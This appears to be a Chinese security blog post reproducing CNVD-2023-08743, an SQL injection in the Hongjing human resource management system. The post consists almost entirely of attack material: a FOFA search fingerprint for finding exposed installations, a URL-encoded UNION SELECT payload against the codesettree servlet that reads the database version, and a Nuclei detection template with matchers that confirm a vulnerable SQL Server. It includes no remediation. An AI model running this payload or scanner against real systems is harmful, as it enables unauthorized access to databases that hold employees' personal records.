【漏洞复现】

CNVD-2023-08743

【漏洞介绍】

Hongjing Human Resource Management System - SQL Injection

【指纹】

title=”人力资源信息管理系统”

【系统UI】

【payload】

/servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27hongjing~27~2c~40~40version~2d~2d

【Poc】

id: CNVD-2023-08743info:name: Hongjing SQL Injectionauthor: xxxseverity: highdescription: /reference:- https://metadata:fofa-query: title="人力资源信息管理系统"tags: hongjing,hcmhttp:- raw:- |GET /servlet/codesettree?flag=c&status=1&codesetid=1&parentid=-1&categories=~31~27~20union~20all~20select~20~27hongjing~27~2c~40~40version~2d~2d HTTP/1.1Host: {{Hostname}}matchers:- type: dsldsl:- 'status_code == 200'- 'contains(header,"text/xml")'- 'contains_all(body,"TreeNode id=\"hongjing","SQL Server")'condition: and

 

没看够~？欢迎关注！